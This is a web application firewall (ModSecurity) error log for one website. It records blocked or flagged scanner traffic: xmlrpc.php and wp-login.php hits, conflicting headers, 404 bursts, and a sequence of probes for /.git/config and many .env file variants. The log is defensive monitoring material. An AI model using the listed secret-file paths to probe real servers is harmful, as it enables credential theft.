[Fri May 22 16:06:56.614510 2026] [:error] [pid 15679:tid 15700] [client 202.88.246.50:60411] [client 202.88.246.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.88.246.50, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahAOoCh8tgGc38WJ-Gwg7AAAANM"]
[Fri May 22 16:07:07.845845 2026] [:error] [pid 15584:tid 15625] [client 202.88.246.50:60788] [client 202.88.246.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.88.246.50, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahAOq99Z_TVLbNEx52j_awAAAEU"]
[Fri May 22 16:07:19.350919 2026] [:error] [pid 15679:tid 15693] [client 202.88.246.50:61237] [client 202.88.246.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.88.246.50, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahAOtyh8tgGc38WJ-GwhEgAAAMw"]
[Fri May 22 16:07:30.027062 2026] [:error] [pid 15585:tid 15657] [client 202.88.246.50:61692] [client 202.88.246.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.88.246.50, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahAOwiKb-vB41AF-LC0yAAAAAIo"]
[Fri May 22 16:07:40.710545 2026] [:error] [pid 58782:tid 58794] [client 202.88.246.50:62091] [client 202.88.246.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.88.246.50, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahAOzIxsdTFafgO8vhQFVgAAAQo"]
[Fri May 22 16:32:43.326581 2026] [:error] [pid 15583:tid 15608] [client 43.156.225.86:40212] [client 43.156.225.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahAUq3naOncRcIm17YXukwAAABQ"]
[Fri May 22 17:08:15.296797 2026] [:error] [pid 15679:tid 15691] [client 161.118.202.128:53858] [client 161.118.202.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-manager/initialize"] [unique_id "ahAc_yh8tgGc38WJ-GwvmwAAAMo"]
[Fri May 22 17:08:15.490748 2026] [:error] [pid 15585:tid 15648] [client 161.118.202.128:54148] [client 161.118.202.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-manager/initialize"] [unique_id "ahAc_yKb-vB41AF-LC1H8AAAAIE"]
[Fri May 22 17:10:42.854673 2026] [:error] [pid 58813:tid 58818] [client 43.153.76.247:56334] [client 43.153.76.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahAdkp6yyKWDKULhxJ1rSQAAAUI"]
[Fri May 22 17:11:08.079523 2026] [:error] [pid 15584:tid 15628] [client 34.93.63.75:60563] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahAdrN9Z_TVLbNEx52gL2AAAAEg"]
[Fri May 22 17:11:08.370428 2026] [:error] [pid 15585:tid 15647] [client 34.93.63.75:62210] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/license.txt"] [unique_id "ahAdrCKb-vB41AF-LC1JUAAAAIA"]
[Fri May 22 17:11:08.683166 2026] [:error] [pid 15583:tid 15609] [client 34.93.63.75:63828] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feed/"] [unique_id "ahAdrHnaOncRcIm17YX1PgAAABU"]
[Fri May 22 17:13:39.748648 2026] [:error] [pid 58813:tid 58816] [client 5.31.147.188:51209] [client 5.31.147.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.31.147.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahAeQ56yyKWDKULhxJ1r5gAAAUA"]
[Fri May 22 17:13:50.234341 2026] [:error] [pid 15679:tid 15682] [client 5.31.147.188:51251] [client 5.31.147.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.31.147.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahAeTih8tgGc38WJ-GwxIQAAAME"]
[Fri May 22 17:14:00.959130 2026] [:error] [pid 15585:tid 15665] [client 5.31.147.188:29834] [client 5.31.147.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.31.147.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahAeWCKb-vB41AF-LC1KPwAAAJI"]
[Fri May 22 17:14:11.553974 2026] [:error] [pid 15585:tid 15660] [client 5.31.147.188:29856] [client 5.31.147.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.31.147.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahAeYyKb-vB41AF-LC1KRwAAAI0"]
[Fri May 22 17:14:22.752323 2026] [:error] [pid 15584:tid 15623] [client 5.31.147.188:8305] [client 5.31.147.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.31.147.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahAebt9Z_TVLbNEx52gM8QAAAEM"]
[Fri May 22 19:56:12.509225 2026] [:error] [pid 15679:tid 15705] [client 41.60.167.10:61966] [client 41.60.167.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.60.167.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahBEXCh8tgGc38WJ-GxUugAAANg"]
[Fri May 22 19:56:23.945540 2026] [:error] [pid 15585:tid 15659] [client 41.60.167.10:62392] [client 41.60.167.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.60.167.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahBEZyKb-vB41AF-LC17AQAAAIw"]
[Fri May 22 19:56:34.008821 2026] [:error] [pid 15679:tid 15700] [client 41.60.167.10:62850] [client 41.60.167.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.60.167.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahBEcih8tgGc38WJ-GxUyQAAANM"]
[Fri May 22 19:56:44.694271 2026] [:error] [pid 15679:tid 15694] [client 41.60.167.10:63230] [client 41.60.167.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.60.167.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahBEfCh8tgGc38WJ-GxU0QAAAM0"]
[Fri May 22 19:56:55.111044 2026] [:error] [pid 15584:tid 15626] [client 41.60.167.10:63607] [client 41.60.167.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.60.167.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahBEh99Z_TVLbNEx52grlwAAAEY"]
[Fri May 22 21:05:13.930398 2026] [:error] [pid 15584:tid 15626] [client 43.158.91.71:35696] [client 43.158.91.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahBUid9Z_TVLbNEx52g3wgAAAEY"]
[Fri May 22 21:32:26.889477 2026] [:error] [pid 15679:tid 15702] [client 49.51.233.46:40680] [client 49.51.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahBa6ih8tgGc38WJ-GxsXwAAANU"]
[Fri May 22 21:56:38.958625 2026] [:error] [pid 58813:tid 58837] [client 122.172.85.153:14751] [client 122.172.85.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.172.85.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahBglp6yyKWDKULhxJ2S7gAAAVU"]
[Fri May 22 21:56:49.131412 2026] [:error] [pid 15583:tid 15602] [client 122.172.85.153:1198] [client 122.172.85.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.172.85.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahBgoXnaOncRcIm17YUlhQAAAA4"]
[Fri May 22 21:56:59.738699 2026] [:error] [pid 58782:tid 58797] [client 122.172.85.153:5661] [client 122.172.85.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.172.85.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahBgq4xsdTFafgO8vhQyHwAAAQ0"]
[Fri May 22 21:57:10.407980 2026] [:error] [pid 15583:tid 15594] [client 122.172.85.153:3473] [client 122.172.85.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.172.85.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahBgtnnaOncRcIm17YUlmAAAAAY"]
[Fri May 22 21:57:20.977761 2026] [:error] [pid 58782:tid 58794] [client 122.172.85.153:12427] [client 122.172.85.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.172.85.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahBgwIxsdTFafgO8vhQyPgAAAQo"]
[Fri May 22 23:01:09.454482 2026] [:error] [pid 58813:tid 58838] [client 205.185.122.174:56808] [client 205.185.122.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.122.174, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahBvtZ6yyKWDKULhxJ2amQAAAVY"]
[Fri May 22 23:29:36.363010 2026] [:error] [pid 15583:tid 15606] [client 165.22.112.133:55674] [client 165.22.112.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.112.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahB2YHnaOncRcIm17YVBHQAAABI"]
[Fri May 22 23:40:39.997790 2026] [:error] [pid 15585:tid 15668] [client 165.22.112.133:61701] [client 165.22.112.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.112.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahB49yKb-vB41AF-LC2ybQAAAJU"]
[Fri May 22 23:51:34.965219 2026] [:error] [pid 15583:tid 15602] [client 165.22.112.133:54279] [client 165.22.112.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.112.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahB7hnnaOncRcIm17YVINgAAAA4"]
[Sat May 23 00:02:27.342156 2026] [:error] [pid 15679:tid 15682] [client 165.22.112.133:59451] [client 165.22.112.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.112.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahB-Eyh8tgGc38WJ-GyPyAAAAME"]
[Sat May 23 00:12:51.701191 2026] [:error] [pid 15679:tid 15705] [client 165.22.112.133:54853] [client 165.22.112.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.112.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahCAgyh8tgGc38WJ-GyVfAAAANg"]
[Sat May 23 00:18:23.770260 2026] [:error] [pid 15583:tid 15593] [client 54.65.188.144:47080] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ahCBz3naOncRcIm17YVVpwAAAAU"]
[Sat May 23 00:18:25.745502 2026] [:error] [pid 15585:tid 15658] [client 54.65.188.144:50390] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "ahCB0SKb-vB41AF-LC27uQAAAIs"]
[Sat May 23 00:18:26.305132 2026] [:error] [pid 15679:tid 15695] [client 54.65.188.144:50490] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "ahCB0ih8tgGc38WJ-GyW_QAAAM4"]
[Sat May 23 00:18:26.865243 2026] [:error] [pid 58813:tid 58836] [client 54.65.188.144:41538] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production"] [unique_id "ahCB0p6yyKWDKULhxJ2ojAAAAVQ"]
[Sat May 23 00:18:27.424834 2026] [:error] [pid 15583:tid 15606] [client 54.65.188.144:41562] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "ahCB03naOncRcIm17YVVrgAAABI"]
[Sat May 23 00:18:27.982384 2026] [:error] [pid 15679:tid 15692] [client 54.65.188.144:41580] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development"] [unique_id "ahCB0yh8tgGc38WJ-GyW_wAAAMs"]
[Sat May 23 00:18:28.541860 2026] [:error] [pid 15584:tid 15622] [client 54.65.188.144:41600] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.test"] [unique_id "ahCB1N9Z_TVLbNEx52hXwwAAAEI"]
[Sat May 23 00:18:29.104305 2026] [:error] [pid 58782:tid 58794] [client 54.65.188.144:41634] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.remote"] [unique_id "ahCB1YxsdTFafgO8vhREJgAAAQo"]
[Sat May 23 00:18:29.666407 2026] [:error] [pid 15583:tid 15593] [client 54.65.188.144:41650] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.bak"] [unique_id "ahCB1XnaOncRcIm17YVVtgAAAAU"]
[Sat May 23 00:18:30.228506 2026] [:error] [pid 15583:tid 15600] [client 54.65.188.144:41668] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "ahCB1nnaOncRcIm17YVVuwAAAAw"]
[Sat May 23 00:18:30.787140 2026] [:error] [pid 15583:tid 15591] [client 54.65.188.144:41694] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.save"] [unique_id "ahCB1nnaOncRcIm17YVVvwAAAAM"]
[Sat May 23 00:18:31.351091 2026] [:error] [pid 15679:tid 15695] [client 54.65.188.144:41710] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.old"] [unique_id "ahCB1yh8tgGc38WJ-GyXAwAAAM4"]
[Sat May 23 00:18:31.912577 2026] [:error] [pid 15679:tid 15689] [client 54.65.188.144:41724] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.sample"] [unique_id "ahCB1yh8tgGc38WJ-GyXBQAAAMg"]
[Sat May 23 00:18:32.474646 2026] [:error] [pid 15583:tid 15596] [client 54.65.188.144:41758] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "ahCB2HnaOncRcIm17YVVwwAAAAg"]
[Sat May 23 00:18:33.035914 2026] [:error] [pid 15584:tid 15636] [client 54.65.188.144:41800] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dev"] [unique_id "ahCB2d9Z_TVLbNEx52hXyAAAAFA"]
[Sat May 23 00:18:33.594138 2026] [:error] [pid 15679:tid 15704] [client 54.65.188.144:41830] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.prod"] [unique_id "ahCB2Sh8tgGc38WJ-GyXCgAAANc"]
[Sat May 23 00:18:34.151536 2026] [:error] [pid 15583:tid 15602] [client 54.65.188.144:41850] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.stage"] [unique_id "ahCB2nnaOncRcIm17YVVyAAAAA4"]
[Sat May 23 00:18:34.720975 2026] [:error] [pid 15583:tid 15594] [client 54.65.188.144:41880] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.ci"] [unique_id "ahCB2nnaOncRcIm17YVVzAAAAAY"]
[Sat May 23 00:18:35.283697 2026] [:error] [pid 15584:tid 15629] [client 54.65.188.144:41916] [client 54.65.188.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.docker"] [unique_id "ahCB299Z_TVLbNEx52hXywAAAEk"]
[Sat May 23 00:23:52.571137 2026] [:error] [pid 15585:tid 15669] [client 165.22.112.133:53206] [client 165.22.112.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.112.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahCDGCKb-vB41AF-LC28yAAAAJY"]
[Sat May 23 00:34:59.137985 2026] [:error] [pid 15584:tid 15627] [client 165.22.112.133:63653] [client 165.22.112.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.112.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahCFs99Z_TVLbNEx52hbTwAAAEc"]
